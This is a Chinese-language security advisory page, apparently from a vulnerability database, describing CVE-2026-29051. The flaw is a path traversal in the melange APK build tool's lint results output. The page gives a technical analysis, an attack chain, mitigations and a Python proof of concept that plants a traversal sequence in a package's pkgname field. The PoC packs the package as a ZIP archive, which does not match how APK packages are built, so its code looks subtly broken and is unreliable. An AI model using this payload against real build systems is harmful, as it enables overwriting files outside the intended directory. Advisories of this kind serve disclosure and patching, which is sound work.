IPBUF安全漏洞报告
English
CVE-2026-29051 CVSS 4.4 中危

CVE-2026-29051: melange lint路径遍历漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-29051
漏洞类型
路径遍历
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
melange

相关标签

路径遍历任意文件写入melangeAPKCVE-2026-29051CWE-22

漏洞概述

melange是一个用于构建APK包的工具。在0.32.0至0.43.4之前的版本中,当使用`--persist-lint-results`选项时,程序未对APK的.PKGINFO文件中的`arch`和`pkgname`进行路径遍历校验。攻击者若能提供恶意APK,可诱导系统将lint结果写入任意JSON路径,从而覆盖其他JSON文件。该漏洞默认不启用,升级至v0.43.4可修复。

技术细节

该漏洞存在于melange的lint功能中。当使用`--persist-lint-results`标志时,melange会解析目标APK内的`.PKGINFO`控制文件,提取其中的架构(`arch`)和包名(`pkgname`)字段,并将它们与`--out-dir`参数指定的目录进行字符串拼接,以生成最终的lint报告文件路径。受影响版本未对提取的`arch`和`pkgname`字段进行清洗,允许包含路径分隔符(如`/`)和父目录引用符(`..`)。因此,攻击者可以通过精心构造APK中的`.PKGINFO`文件,将`pkgname`设置为包含遍历序列的字符串(例如`../../tmp/pwned`)。当melange处理该APK时,由于缺乏验证,它会将生成的JSON报告写入文件系统中预期的输出目录之外的任意位置(尽管文件扩展名被限制为.json)。虽然这不能直接导致代码执行,但攻击者可以利用此行为覆盖系统上关键的JSON配置文件或数据文件,破坏系统完整性。

攻击链分析

STEP 1
1. 恶意APK构造
攻击者创建一个特制的APK文件,其中包含恶意的.PKGINFO文件,将pkgname字段设置为包含路径遍历字符(如../../tmp/target)的值。
STEP 2
2. 提交APK
攻击者将此恶意APK提交给使用melange进行构建或lint检查的系统,特别是启用了--persist-lint-results选项的CI/CD流水线或构建服务平台。
STEP 3
3. 路径解析与拼接
melange处理APK,读取.PKGINFO中的pkgname。由于缺乏过滤,程序直接将此恶意pkgname与输出目录路径拼接,生成目标文件路径。
STEP 4
4. 任意文件写入
melange将lint结果报告写入由攻击者指定的任意路径(限制为.json后缀),可能导致覆盖系统上的重要JSON配置文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-29051: melange Path Traversal # This script generates a malicious APK with a crafted .PKGINFO file. import zipfile def generate_malicious_apk(filename): # The malicious package name containing path traversal sequences # This attempts to write the lint report to the parent directory pkginfo_content = """pkgname=../../tmp/malicious_lint_result pkgver=1.0.0 pkgdesc=PoC APK arch=x86_64 """ with zipfile.ZipFile(filename, 'w') as zf: # Write the crafted .PKGINFO into the APK zf.writestr('.PKGINFO', pkginfo_content) # Add a dummy file to make the structure valid zf.writestr('dummy.txt', 'content') print(f"[+] Created {filename}") print(f"[+] Run: melange lint --persist-lint-results {filename}") print(f"[+] Expected result: Attempts to write to ../../tmp/malicious_lint_result-lint-1.0.0-r0.json") if __name__ == "__main__": generate_malicious_apk('exploit.apk')

影响范围

melange >= 0.32.0, < 0.43.4

防御指南

临时缓解措施
如果无法立即升级,请避免在处理第三方或不受信任的APK时使用`--persist-lint-results`标志。建议在隔离的环境中运行melange,并确保运行账户仅具有特定目录的写入权限,以防止攻击者覆盖关键系统文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表